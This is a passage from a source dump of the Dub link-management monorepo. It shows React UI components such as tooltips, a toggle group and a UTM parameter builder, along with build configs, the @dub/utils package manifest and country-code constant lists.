        `Failed to copy ${row.successMessageLabel} to clipboard`,\n                          e,\n                        );\n                      }\n                    }\n                  : undefined\n              }\n            >\n              <td className=\"relative py-0.5\">\n                <span\n                  className={cn(\n                    \"text-content-subtle truncate\",\n                    shortLabels && \"bg-bg-inverted/10 rounded px-1 font-mono\",\n                  )}\n                  title={shortLabels ? row.label : undefined}\n                >\n                  {shortLabels ? row.shortLabel : row.label}\n                </span>\n              </td>\n              <td\n                className={cn(\n                  \"text-content-default relative whitespace-nowrap py-0.5 pl-3\",\n                  shortLabels && \"pl-2\",\n                  row.valueMono && \"font-mono\",\n                )}\n              >\n                {row.value}\n              </td>\n            </tr>\n          ))}\n        </tbody>\n      </table>\n    </div>\n  );\n}\n\nexport default TimestampTooltip;\n"
  },
  {
    "path": "packages/ui/src/toggle-group.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { LayoutGroup, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useId } from \"react\";\n\ninterface ToggleOption {\n  value: string;\n  label: string | React.ReactNode;\n  badge?: React.ReactNode;\n  href?: string;\n}\n\nexport function ToggleGroup({\n  options,\n  selected,\n  selectAction,\n  layout = true,\n  className,\n  optionClassName,\n  indicatorClassName,\n  style,\n}: {\n  options: ToggleOption[];\n  selected: string | null;\n  selectAction?: (option: string) => void;\n  layout?: boolean;\n  className?: string;\n  optionClassName?: string;\n  indicatorClassName?: string;\n  style?: React.CSSProperties;\n}) {\n  const layoutGroupId = useId();\n\n  return (\n    <LayoutGroup id={layoutGroupId}>\n      <motion.div\n        layout={layout}\n        className={cn(\n          \"border-border-subtle bg-bg-default relative z-0 inline-flex items-center gap-1 rounded-xl border p-1\",\n          className,\n        )}\n        style={style}\n      >\n        {options.map((option) => {\n          const isSelected = option.value === selected;\n          const As = option.href ? Link : \"button\";\n          return (\n            // @ts-ignore dynamic props :(\n            <As\n              key={option.value}\n              {...(option.href ? { href: option.href } : { type: \"button\" })}\n              data-selected={isSelected}\n              className={cn(\n                \"text-content-emphasis relative z-10 flex items-center gap-2 px-3 py-1 text-sm font-medium capitalize\",\n                !isSelected &&\n                  \"hover:text-content-subtle z-[11] transition-colors\",\n                optionClassName,\n              )}\n              onClick={() => selectAction?.(option.value)}\n            >\n              {typeof option.label === \"string\" ? (\n                <p>{option.label}</p>\n              ) : (\n                option.label\n              )}\n              {option.badge}\n              {isSelected && (\n                <motion.div\n                  layoutId={layoutGroupId}\n                  className={cn(\n                    \"border-border-subtle bg-bg-muted absolute left-0 top-0 -z-[1] h-full w-full rounded-lg border\",\n                    indicatorClassName,\n                  )}\n                  transition={{ duration: 0.25 }}\n                />\n              )}\n            </As>\n          );\n        })}\n      </motion.div>\n    </LayoutGroup>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/tooltip-advanced-link-features.tsx",
    "content": "import { Earth, Incognito, InputPasswordPointer, Timer2, Views } from \"./icons\";\n\nconst advancedLinkFeatures = [\n  {\n    icon: Views,\n    text: \"Custom link previews\",\n    href: \"https://dub.co/help/article/custom-link-previews\",\n  },\n  {\n    icon: Earth,\n    text: \"Geo/device targeting\",\n    href: \"https://dub.co/help/article/geo-targeting\",\n  },\n  {\n    icon: InputPasswordPointer,\n    text: \"Password protection\",\n    href: \"https://dub.co/help/article/password-protected-links\",\n  },\n  {\n    icon: Timer2,\n    text: \"Link expiration\",\n    href: \"https://dub.co/help/article/link-expiration\",\n  },\n  {\n    icon: Incognito,\n    text: \"Link cloaking\",\n    href: \"https://dub.co/help/article/link-cloaking\",\n  },\n];\n\nexport function AdvancedLinkFeaturesTooltip() {\n  return (\n    <div className=\"p-3\">\n      <span className=\"block text-sm font-semibold text-neutral-600\">\n        Advanced link features\n      </span>\n      <div className=\"mt-2 flex flex-col gap-2.5 text-xs text-neutral-600\">\n        {advancedLinkFeatures.map(({ text, icon: Icon, href }) => (\n          <a\n            key={text}\n            href={href}\n            target=\"_blank\"\n            className=\"flex items-center gap-2.5 underline decoration-dotted underline-offset-2\"\n          >\n            <Icon className=\"size-3.5 shrink-0\" />\n            {text}\n          </a>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/tooltip.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport * as TooltipPrimitive from \"@radix-ui/react-tooltip\";\nimport { HelpCircle } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { ReactNode, useEffect, useRef, useState } from \"react\";\nimport ReactMarkdown from \"react-markdown\";\nimport { Badge } from \"./badge\";\nimport { Button, ButtonProps, buttonVariants } from \"./button\";\nimport { useScrollProgress } from \"./hooks/use-scroll-progress\";\nimport { PROSE_STYLES } from \"./rich-text-area\";\n\nexport function TooltipProvider({ children }: { children: ReactNode }) {\n  return (\n    <TooltipPrimitive.Provider delayDuration={150}>\n      {children}\n    </TooltipPrimitive.Provider>\n  );\n}\n\nconst TooltipMarkdown = ({\n  className,\n  children,\n}: {\n  className?: string;\n  children: string;\n}) => {\n  return (\n    <ReactMarkdown\n      className={cn(\n        \"prose prose-sm prose-neutral max-w-xs text-pretty px-4 py-2 text-center leading-snug transition-all\",\n        \"prose-a:cursor-alias prose-a:underline prose-a:decoration-dotted prose-a:underline-offset-2\",\n        \"prose-code:inline-block prose-code:leading-none\",\n        PROSE_STYLES.condensed,\n        className,\n      )}\n      components={{\n        a: ({ node, ...props }) => (\n          <a\n            {...props}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            onClick={(e) => e.stopPropagation()}\n          />\n        ),\n        code: ({ node, ...props }) => (\n          <code {...props} className=\"rounded-md bg-neutral-100 px-1 py-0.5\" />\n        ),\n      }}\n    >\n      {children}\n    </ReactMarkdown>\n  );\n};\nexport interface TooltipProps\n  extends Omit<TooltipPrimitive.TooltipContentProps, \"content\"> {\n  content:\n    | ReactNode\n    | string\n    | ((props: { setOpen: (open: boolean) => void }) => ReactNode);\n  contentClassName?: string;\n  disabled?: boolean;\n  disableHoverableContent?: TooltipPrimitive.TooltipProps[\"disableHoverableContent\"];\n  delayDuration?: TooltipPrimitive.TooltipProps[\"delayDuration\"];\n}\n\nexport function Tooltip({\n  children,\n  content,\n  contentClassName,\n  disabled,\n  side = \"top\",\n  disableHoverableContent,\n  delayDuration = 0,\n  ...rest\n}: TooltipProps) {\n  const [open, setOpen] = useState(false);\n\n  return (\n    <TooltipPrimitive.Root\n      open={disabled ? false : open}\n      onOpenChange={setOpen}\n      delayDuration={delayDuration}\n      disableHoverableContent={disableHoverableContent}\n    >\n      <TooltipPrimitive.Trigger\n        asChild\n        onClick={() => {\n          setOpen(true);\n        }}\n        onBlur={() => {\n          setOpen(false);\n        }}\n      >\n        {children}\n      </TooltipPrimitive.Trigger>\n      <TooltipPrimitive.Portal>\n        <TooltipPrimitive.Content\n          sideOffset={8}\n          side={side}\n          className=\"animate-slide-up-fade pointer-events-auto z-[99] items-center overflow-hidden rounded-xl border border-neutral-200 bg-white shadow-sm\"\n          collisionPadding={0}\n          {...rest}\n        >\n          {typeof content === \"string\" ? (\n            <TooltipMarkdown className={contentClassName}>\n              {content}\n            </TooltipMarkdown>\n          ) : typeof content === \"function\" ? (\n            content({ setOpen })\n          ) : (\n            content\n          )}\n        </TooltipPrimitive.Content>\n      </TooltipPrimitive.Portal>\n    </TooltipPrimitive.Root>\n  );\n}\n\nexport function TooltipContent({\n  title,\n  cta,\n  href,\n  target,\n  onClick,\n}: {\n  title: string;\n  cta?: string;\n  href?: string;\n  target?: string;\n  onClick?: () => void;\n}) {\n  return (\n    <div className=\"flex max-w-xs flex-col items-center space-y-3 p-4 text-center\">\n      <TooltipMarkdown className=\"p-0\">{title}</TooltipMarkdown>\n      {cta &&\n        (href ? (\n          <Link\n            href={href}\n            {...(target ? { target } : {})}\n            className={cn(\n              buttonVariants({ variant: \"primary\" }),\n              \"flex h-8 w-full items-center justify-center whitespace-nowrap rounded-lg border px-4 text-sm\",\n            )}\n          >\n            {cta}\n          </Link>\n        ) : onClick ? (\n          <Button\n            onClick={onClick}\n            text={cta}\n            variant=\"primary\"\n            className=\"h-8\"\n          />\n        ) : null)}\n    </div>\n  );\n}\n\nexport function InfoTooltip(props: Omit<TooltipProps, \"children\">) {\n  return (\n    <Tooltip {...props}>\n      <HelpCircle className=\"h-4 w-4 text-neutral-500\" />\n    </Tooltip>\n  );\n}\n\nexport function BadgeTooltip({ children, content, ...props }: TooltipProps) {\n  return (\n    <Tooltip content={content} {...props}>\n      <div className=\"flex cursor-pointer items-center\">\n        <Badge\n          variant=\"gray\"\n          className=\"border-neutral-300 transition-all hover:bg-neutral-200\"\n        >\n          {children}\n        </Badge>\n      </div>\n    </Tooltip>\n  );\n}\n\nexport function ButtonTooltip({\n  children,\n  tooltipProps,\n  ...props\n}: {\n  children: ReactNode;\n  tooltipProps: TooltipProps;\n} & ButtonProps) {\n  return (\n    <Tooltip {...tooltipProps}>\n      <button\n        type=\"button\"\n        {...props}\n        className={cn(\n          \"flex h-6 w-6 items-center justify-center rounded-md text-neutral-500 transition-colors duration-75 hover:bg-neutral-100 active:bg-neutral-200 disabled:cursor-not-allowed disabled:hover:bg-transparent\",\n          props.className,\n        )}\n      >\n        {children}\n      </button>\n    </Tooltip>\n  );\n}\n\nexport function DynamicTooltipWrapper({\n  children,\n  tooltipProps,\n}: {\n  children: ReactNode;\n  tooltipProps?: TooltipProps;\n}) {\n  return tooltipProps ? (\n    <Tooltip {...tooltipProps}>\n      <div>{children}</div>\n    </Tooltip>\n  ) : (\n    children\n  );\n}\n\nexport function ScrollableTooltipContent({\n  children,\n  maxHeight = \"240px\",\n  className,\n}: {\n  children: ReactNode;\n  maxHeight?: string;\n  className?: string;\n}) {\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(\n    scrollRef,\n    {\n      direction: \"vertical\",\n    },\n  );\n\n  const [showTopGradient, setShowTopGradient] = useState(false);\n  const [showBottomGradient, setShowBottomGradient] = useState(false);\n\n  useEffect(() => {\n    const element = scrollRef.current;\n    if (!element) return;\n\n    const { scrollHeight, clientHeight } = element;\n    const canScroll = scrollHeight > clientHeight;\n\n    // Show top gradient if not at top and can scroll\n    setShowTopGradient(canScroll && scrollProgress > 0);\n    // Show bottom gradient if not at bottom and can scroll\n    setShowBottomGradient(canScroll && scrollProgress < 1);\n  }, [scrollProgress]);\n\n  return (\n    <div className=\"relative\">\n      {showTopGradient && (\n        <div className=\"pointer-events-none absolute left-0 right-0 top-0 z-10 h-6 rounded-t-xl bg-gradient-to-b from-white to-transparent\" />\n      )}\n      <div\n        ref={scrollRef}\n        onScroll={updateScrollProgress}\n        className={cn(\n          \"flex flex-col gap-2 overflow-y-auto px-3 py-2\",\n          className,\n        )}\n        style={{ maxHeight }}\n      >\n        {children}\n      </div>\n      {showBottomGradient && (\n        <div className=\"pointer-events-none absolute bottom-0 left-0 right-0 z-10 h-6 rounded-b-xl bg-gradient-to-t from-white to-transparent\" />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/utm-builder.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { ReactNode, useEffect, useId, useRef, useState } from \"react\";\nimport { useMediaQuery } from \"./hooks/use-media-query\";\nimport {\n  Flag6,\n  Gift,\n  GlobePointer,\n  InputSearch,\n  Page2,\n  SatelliteDish,\n} from \"./icons/nucleo\";\nimport { DynamicTooltipWrapper, Tooltip } from \"./tooltip\";\n\nexport const UTM_PARAMETERS = [\n  {\n    key: \"utm_source\",\n    icon: GlobePointer,\n    label: \"Source\",\n    placeholder: \"google\",\n    description: \"Where the traffic is coming from\",\n  },\n  {\n    key: \"utm_medium\",\n    icon: SatelliteDish,\n    label: \"Medium\",\n    placeholder: \"cpc\",\n    description: \"How the traffic is coming\",\n  },\n  {\n    key: \"utm_campaign\",\n    icon: Flag6,\n    label: \"Campaign\",\n    placeholder: \"summer sale\",\n    description: \"The name of the campaign\",\n  },\n  {\n    key: \"utm_term\",\n    icon: InputSearch,\n    label: \"Term\",\n    placeholder: \"running shoes\",\n    description: \"The term of the campaign\",\n  },\n  {\n    key: \"utm_content\",\n    icon: Page2,\n    label: \"Content\",\n    placeholder: \"logo link\",\n    description: \"The content of the campaign\",\n  },\n  {\n    key: \"ref\",\n    icon: Gift,\n    label: \"Referral\",\n    placeholder: \"yoursite.com\",\n    description: \"The referral of the campaign\",\n  },\n] as const;\n\nexport function UTMBuilder({\n  values,\n  onChange,\n  disabled,\n  autoFocus,\n  disabledTooltip,\n  className,\n}: {\n  values: Record<\n    (typeof UTM_PARAMETERS)[number][\"key\"],\n    string | null | undefined\n  >;\n  onChange: (\n    key: (typeof UTM_PARAMETERS)[number][\"key\"],\n    value: string,\n  ) => void;\n  disabled?: boolean;\n  autoFocus?: boolean;\n  disabledTooltip?: string | ReactNode;\n  className?: string;\n}) {\n  const { isMobile } = useMediaQuery();\n\n  const id = useId();\n  const [showParams, setShowParams] = useState(false);\n\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  // Hacky fix to focus the input automatically in modals where normally it doesn't work\n  useEffect(() => {\n    if (inputRef.current && !isMobile && autoFocus)\n      setTimeout(() => inputRef.current?.focus(), 10);\n  }, []);\n\n  return (\n    <div className={cn(\"grid gap-y-3\", className)}>\n      {UTM_PARAMETERS.map(\n        ({ key, icon: Icon, label, placeholder, description }, idx) => {\n          return (\n            <div key={key} className=\"group relative\">\n              <div className=\"relative z-10 flex\">\n                <Tooltip\n                  content={\n                    <div className=\"p-3 text-center text-xs\">\n                      <p className=\"text-neutral-600\">{description}</p>\n                      <span className=\"font-mono text-neutral-400\">{key}</span>\n                    </div>\n                  }\n                  sideOffset={4}\n                  disableHoverableContent\n                >\n                  <div\n                    className={cn(\n                      \"flex items-center gap-1.5 rounded-l-md border-y border-l border-neutral-300 bg-neutral-50 px-3 py-1.5 text-neutral-700\",\n                      showParams ? \"sm:min-w-36\" : \"sm:min-w-28\",\n                    )}\n                    onClick={() => setShowParams((s) => !s)}\n                  >\n                    <Icon className=\"size-4 shrink-0\" />\n                    <label\n                      htmlFor={`${id}-${key}`}\n                      className=\"select-none text-sm\"\n                    >\n                      {showParams ? (\n                        <span className=\"font-mono text-xs\">{key}</span>\n                      ) : (\n                        label\n                      )}\n                    </label>\n                  </div>\n                </Tooltip>\n                <div className=\"min-w-0 grow\">\n                  <DynamicTooltipWrapper\n                    tooltipProps={\n                      disabledTooltip\n                        ? {\n                            content: disabledTooltip,\n                            disableHoverableContent: true,\n                          }\n                        : undefined\n                    }\n                  >\n                    <input\n                      type=\"text\"\n                      id={`${id}-${key}`}\n                      ref={idx === 0 ? inputRef : undefined}\n                      placeholder={placeholder}\n                      disabled={disabled || Boolean(disabledTooltip)}\n                      className=\"size-full rounded-r-md border border-neutral-300 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500 disabled:cursor-not-allowed sm:text-sm\"\n                      value={values[key] || \"\"}\n                      onChange={(e) => onChange(key, e.target.value)}\n                    />\n                  </DynamicTooltipWrapper>\n                </div>\n              </div>\n            </div>\n          );\n        },\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/wordmark.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function Wordmark({ className }: { className?: string }) {\n  return (\n    <svg\n      width=\"46\"\n      height=\"24\"\n      viewBox=\"0 0 46 24\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\"h-6 w-auto text-black dark:text-white\", className)}\n    >\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M11 2H14V13.9332L14.0003 13.9731L14.0003 14C14.0003 14.0223 14.0002 14.0445 14 14.0668V21H11V19.7455C9.86619 20.5362 8.48733 21 7.00016 21C3.13408 21 0 17.866 0 14C0 10.134 3.13408 7 7.00016 7C8.48733 7 9.86619 7.46375 11 8.25452V2ZM7 17.9998C9.20914 17.9998 11 16.209 11 13.9999C11 11.7908 9.20914 10 7 10C4.79086 10 3 11.7908 3 13.9999C3 16.209 4.79086 17.9998 7 17.9998ZM32 2H35V8.25474C36.1339 7.46383 37.5128 7 39.0002 7C42.8662 7 46.0003 10.134 46.0003 14C46.0003 17.866 42.8662 21 39.0002 21C35.1341 21 32 17.866 32 14V2ZM39 17.9998C41.2091 17.9998 43 16.209 43 13.9999C43 11.7908 41.2091 10 39 10C36.7909 10 35 11.7908 35 13.9999C35 16.209 36.7909 17.9998 39 17.9998ZM19 7H16V14C16 14.9192 16.1811 15.8295 16.5329 16.6788C16.8846 17.5281 17.4003 18.2997 18.0503 18.9497C18.7003 19.5997 19.472 20.1154 20.3213 20.4671C21.1706 20.8189 22.0809 21 23.0002 21C23.9194 21 24.8297 20.8189 25.679 20.4671C26.5283 20.1154 27.3 19.5997 27.95 18.9497C28.6 18.2997 29.1157 17.5281 29.4675 16.6788C29.8192 15.8295 30.0003 14.9192 30.0003 14H30V7H27V14C27 15.0608 26.5785 16.0782 25.8284 16.8283C25.0783 17.5784 24.0609 17.9998 23 17.9998C21.9391 17.9998 20.9217 17.5784 20.1716 16.8283C19.4215 16.0782 19 15.0608 19 14V7Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/tailwind.config.ts",
    "content": "// tailwind config is required for editor support\nimport sharedConfig from \"@dub/tailwind-config/tailwind.config.ts\";\nimport type { Config } from \"tailwindcss\";\n\nconst config: Pick<Config, \"presets\"> = {\n  presets: [sharedConfig],\n};\n\nexport default config;\n"
  },
  {
    "path": "packages/ui/tsconfig.json",
    "content": "{\n  \"extends\": \"tsconfig/react-library.json\",\n  \"include\": [\".\"],\n  \"exclude\": [\"dist\", \"build\", \"node_modules\"]\n}\n"
  },
  {
    "path": "packages/ui/tsup.config.ts",
    "content": "import { defineConfig, Options } from \"tsup\";\n\nexport default defineConfig((options: Options) => ({\n  entry: {\n    index: \"src/index.tsx\",\n    \"icons/index\": \"src/icons/index.tsx\",\n    \"charts/index\": \"src/charts/index.ts\",\n  },\n\n  format: [\"esm\"],\n  esbuildOptions(options) {\n    options.banner = {\n      js: '\"use client\"',\n    };\n  },\n  dts: true,\n  minify: true,\n  external: [\"react\"],\n  ...options,\n}));\n"
  },
  {
    "path": "packages/utils/README.md",
    "content": "# `@dub/utils`\n\n`@dub/utils` is a library of utility functions that are used across Dub's web applications.\n\n## Installation\n\nTo install the package, run:\n\n```bash\npnpm i @dub/utils\n```\n"
  },
  {
    "path": "packages/utils/package.json",
    "content": "{\n  \"name\": \"@dub/utils\",\n  \"description\": \"Utility functions and constants for Dub\",\n  \"version\": \"0.1.53\",\n  \"sideEffects\": false,\n  \"main\": \"./dist/index.mjs\",\n  \"module\": \"./dist/index.mjs\",\n  \"types\": \"./dist/index.d.ts\",\n  \"files\": [\n    \"dist/**\"\n  ],\n  \"scripts\": {\n    \"build\": \"tsup\",\n    \"lint\": \"eslint src/\",\n    \"dev\": \"tsup --watch\",\n    \"check-types\": \"tsc --noEmit\"\n  },\n  \"peerDependencies\": {\n    \"next\": \"15.5.7\",\n    \"react\": \"19.1.3\",\n    \"react-dom\": \"19.1.3\"\n  },\n  \"devDependencies\": {\n    \"@types/ms\": \"^0.7.31\",\n    \"@types/node\": \"18.11.9\",\n    \"@types/punycode\": \"^2.1.4\",\n    \"@types/react\": \"^19.1.15\",\n    \"next\": \"15.5.8\",\n    \"react\": \"^19.1.3\",\n    \"tsconfig\": \"workspace:*\",\n    \"tsup\": \"^6.1.3\",\n    \"typescript\": \"^5.1.6\"\n  },\n  \"dependencies\": {\n    \"@sindresorhus/slugify\": \"^2.2.1\",\n    \"chrono-node\": \"2.7.5\",\n    \"clsx\": \"^2.1.1\",\n    \"ms\": \"^2.1.3\",\n    \"nanoid\": \"^5.0.1\",\n    \"punycode\": \"^2.3.0\",\n    \"tailwind-merge\": \"^2.4.0\"\n  },\n  \"author\": \"Steven Tey <stevensteel97@gmail.com>\",\n  \"homepage\": \"https://dub.co\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/dubinc/dub.git\"\n  },\n  \"bugs\": {\n    \"url\": \"https://github.com/dubinc/dub/issues\"\n  },\n  \"keywords\": [\n    \"dub\",\n    \"dub.co\",\n    \"utils\",\n    \"utility\",\n    \"functions\"\n  ],\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}\n"
  },
  {
    "path": "packages/utils/src/constants/cctlds.ts",
    "content": "export const ccTLDs = new Set([\n  \"af\",\n  \"ax\",\n  \"al\",\n  \"dz\",\n  \"as\",\n  \"ad\",\n  \"ao\",\n  \"ai\",\n  \"aq\",\n  \"ag\",\n  \"ar\",\n  \"am\",\n  \"aw\",\n  \"ac\",\n  \"au\",\n  \"at\",\n  \"az\",\n  \"bs\",\n  \"bh\",\n  \"bd\",\n  \"bb\",\n  \"eus\",\n  \"by\",\n  \"be\",\n  \"bz\",\n  \"bj\",\n  \"bm\",\n  \"bt\",\n  \"bo\",\n  \"bq\",\n  \"an\",\n  \"nl\",\n  \"ba\",\n  \"bw\",\n  \"bv\",\n  \"br\",\n  \"io\",\n  \"vg\",\n  \"bn\",\n  \"bg\",\n  \"bf\",\n  \"mm\",\n  \"bi\",\n  \"kh\",\n  \"cm\",\n  \"ca\",\n  \"cv\",\n  \"cat\",\n  \"ky\",\n  \"cf\",\n  \"td\",\n  \"cl\",\n  \"cn\",\n  \"cx\",\n  \"cc\",\n  \"co\",\n  \"km\",\n  \"cd\",\n  \"cg\",\n  \"ck\",\n  \"cr\",\n  \"ci\",\n  \"hr\",\n  \"cu\",\n  \"cw\",\n  \"cy\",\n  \"cz\",\n  \"dk\",\n  \"dj\",\n  \"dm\",\n  \"do\",\n  \"tl\",\n  \"tp\",\n  \"ec\",\n  \"eg\",\n  \"sv\",\n  \"gq\",\n  \"er\",\n  \"ee\",\n  \"et\",\n  \"eu\",\n  \"fk\",\n  \"fo\",\n  \"fm\",\n  \"fj\",\n  \"fi\",\n  \"fr\",\n  \"gf\",\n  \"pf\",\n  \"tf\",\n  \"ga\",\n  \"gal\",\n  \"gm\",\n  \"ps\",\n  \"ge\",\n  \"de\",\n  \"gh\",\n  \"gi\",\n  \"gr\",\n  \"gl\",\n  \"gd\",\n  \"gp\",\n  \"gu\",\n  \"gt\",\n  \"gg\",\n  \"gn\",\n  \"gw\",\n  \"gy\",\n  \"ht\",\n  \"hm\",\n  \"hn\",\n  \"hk\",\n  \"hu\",\n  \"is\",\n  \"in\",\n  \"id\",\n  \"ir\",\n  \"iq\",\n  \"ie\",\n  \"im\",\n  \"il\",\n  \"it\",\n  \"jm\",\n  \"jp\",\n  \"je\",\n  \"jo\",\n  \"kz\",\n  \"ke\",\n  \"ki\",\n  \"kw\",\n  \"kg\",\n  \"la\",\n  \"lv\",\n  \"lb\",\n  \"ls\",\n  \"lr\",\n  \"ly\",\n  \"li\",\n  \"lt\",\n  \"lu\",\n  \"mo\",\n  \"mk\",\n  \"mg\",\n  \"mw\",\n  \"my\",\n  \"mv\",\n  \"ml\",\n  \"mt\",\n  \"mh\",\n  \"mq\",\n  \"mr\",\n  \"mu\",\n  \"yt\",\n  \"mx\",\n  \"md\",\n  \"mc\",\n  \"mn\",\n  \"me\",\n  \"ms\",\n  \"ma\",\n  \"mz\",\n  \"mm\",\n  \"na\",\n  \"nr\",\n  \"np\",\n  \"nl\",\n  \"nc\",\n  \"nz\",\n  \"ni\",\n  \"ne\",\n  \"ng\",\n  \"nu\",\n  \"nf\",\n  \"nc\",\n  \"tr\",\n  \"kp\",\n  \"mp\",\n  \"no\",\n  \"om\",\n  \"pk\",\n  \"pw\",\n  \"ps\",\n  \"pa\",\n  \"pg\",\n  \"py\",\n  \"pe\",\n  \"ph\",\n  \"pn\",\n  \"pl\",\n  \"pt\",\n  \"pr\",\n  \"qa\",\n  \"ro\",\n  \"ru\",\n  \"rw\",\n  \"re\",\n  \"bq\",\n  \"an\",\n  \"bl\",\n  \"gp\",\n  \"fr\",\n  \"sh\",\n  \"kn\",\n  \"lc\",\n  \"mf\",\n  \"gp\",\n  \"fr\",\n  \"pm\",\n  \"vc\",\n  \"ws\",\n  \"sm\",\n  \"st\",\n  \"sa\",\n  \"sn\",\n  \"rs\",\n  \"sc\",\n  \"sl\",\n  \"sg\",\n  \"bq\",\n  \"an\",\n  \"nl\",\n  \"sx\",\n  \"an\",\n  \"sk\",\n  \"si\",\n  \"sb\",\n  \"so\",\n  \"so\",\n  \"za\",\n  \"gs\",\n  \"kr\",\n  \"ss\",\n  \"es\",\n  \"lk\",\n  \"sd\",\n  \"sr\",\n  \"sj\",\n  \"sz\",\n  \"se\",\n  \"ch\",\n  \"sy\",\n  \"tw\",\n  \"tj\",\n  \"tz\",\n  \"th\",\n  \"tg\",\n  \"tk\",\n  \"to\",\n  \"tt\",\n  \"tn\",\n  \"tr\",\n  \"tm\",\n  \"tc\",\n  \"tv\",\n  \"ug\",\n  \"ua\",\n  \"ae\",\n  \"uk\",\n  \"us\",\n  \"vi\",\n  \"uy\",\n  \"uz\",\n  \"vu\",\n  \"va\",\n  \"ve\",\n  \"vn\",\n  \"wf\",\n  \"eh\",\n  \"ma\",\n  \"ye\",\n  \"zm\",\n  \"zw\",\n]);\n"
  },
  {
    "path": "packages/utils/src/constants/connect-supported-countries.ts",
    "content": "// @see: https://docs.stripe.com/connect/cross-border-payouts#supported-countries\nexport const CONNECT_SUPPORTED_COUNTRIES = [\n  \"AL\", // Albania\n  \"DZ\", // Algeria\n  \"AO\", // Angola\n  \"AG\", // Antigua & Barbuda\n  \"AR\", // Argentina\n  \"AM\", // Armenia\n  \"AU\", // Australia\n  \"AT\", // Austria\n  \"AZ\", // Azerbaijan\n  \"BS\", // Bahamas\n  \"BH\", // Bahrain\n  \"BD\", // Bangladesh\n  \"BE\", // Belgium\n  \"BJ\", // Benin\n  \"BT\", // Bhutan\n  \"BO\", // Bolivia\n  \"BA\", // Bosnia & Herzegovina\n  \"BW\", // Botswana\n  \"BN\", // Brunei\n  \"BG\", // Bulgaria\n  \"KH\", // Cambodia\n  \"CA\", // Canada\n  \"CL\", // Chile\n  \"CO\", // Colombia\n  \"CR\", // Costa Rica\n  \"CI\", // Côte d'Ivoire\n  \"HR\", // Croatia\n  \"CY\", // Cyprus\n  \"CZ\", // Czech Republic\n  \"DK\", // Denmark\n  \"DO\", // Dominican Republic\n  \"EC\", // Ecuador\n  \"EG\", // Egypt\n  \"SV\", // El Salvador\n  \"EE\", // Estonia\n  \"ET\", // Ethiopia\n  \"FI\", // Finland\n  \"FR\", // France\n  \"GA\", // Gabon\n  \"GM\", // Gambia\n  \"DE\", // Germany\n  \"GH\", // Ghana\n  \"GR\", // Greece\n  \"GT\", // Guatemala\n  \"GY\", // Guyana\n  \"HK\", // Hong Kong\n  \"HU\", // Hungary\n  \"IS\", // Iceland\n  \"IN\", // India\n  \"ID\", // Indonesia\n  \"IE\", // Ireland\n  \"IL\", // Israel\n  \"IT\", // Italy\n  \"JM\", // Jamaica\n  \"JP\", // Japan\n  \"JO\", // Jordan\n  \"KZ\", // Kazakhstan\n  \"KE\", // Kenya\n  \"KW\", // Kuwait\n  \"LA\", // Laos\n  \"LV\", // Latvia\n  \"LI\", // Liechtenstein\n  \"LT\", // Lithuania\n  \"LU\", // Luxembourg\n  \"MO\", // Macao SAR China\n  \"MG\", // Madagascar\n  \"MY\", // Malaysia\n  \"MT\", // Malta\n  \"MU\", // Mauritius\n  \"MX\", // Mexico\n  \"MD\", // Moldova\n  \"MC\", // Monaco\n  \"MN\", // Mongolia\n  \"MA\", // Morocco\n  \"MZ\", // Mozambique\n  \"NA\", // Namibia\n  \"NL\", // Netherlands\n  \"NZ\", // New Zealand\n  \"NE\", // Niger\n  \"NG\", // Nigeria\n  \"MK\", // North Macedonia\n  \"NO\", // Norway\n  \"OM\", // Oman\n  \"PK\", // Pakistan\n  \"PA\", // Panama\n  \"PY\", // Paraguay\n  \"PE\", // Peru\n  \"PH\", // Philippines\n  \"PL\", // Poland\n  \"PT\", // Portugal\n  \"QA\", // Qatar\n  \"RO\", // Romania\n  \"RW\", // Rwanda\n  \"SM\", // San Marino\n  \"SA\", // Saudi Arabia\n  \"SN\", // Senegal\n  \"RS\", // Serbia\n  \"SG\", // Singapore\n  \"SK\", // Slovakia\n  \"SI\", // Slovenia\n  \"ZA\", // South Africa\n  \"KR\", // South Korea\n  \"ES\", // Spain\n  \"LK\", // Sri Lanka\n  \"LC\", // St. Lucia\n  \"SE\", // Sweden\n  \"CH\", // Switzerland\n  \"TW\", // Taiwan\n  \"TZ\", // Tanzania\n  \"TH\", // Thailand\n  \"TT\", // Trinidad & Tobago\n  \"TN\", // Tunisia\n  \"TR\", // Turkey\n  \"AE\", // United Arab Emirates\n  \"GB\", // United Kingdom\n  \"US\", // United States\n  \"UY\", // Uruguay\n  \"UZ\", // Uzbekistan\n  \"VN\", // Vietnam\n];\n"
  },
  {
    "path": "packages/utils/src/constants/continents.ts",
